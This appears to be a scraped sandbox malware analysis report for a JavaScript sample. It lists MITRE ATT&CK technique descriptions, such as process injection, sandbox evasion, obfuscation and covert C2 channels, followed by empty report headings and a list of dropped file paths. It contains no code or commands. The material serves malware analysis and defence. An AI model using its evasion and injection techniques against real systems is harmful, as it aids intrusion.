Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1297823757234143258.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c6fc3bf8-74d8-4d9c-a1a0-4a1549757295.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6948

Windows Analysis Report
1297823757234143258.js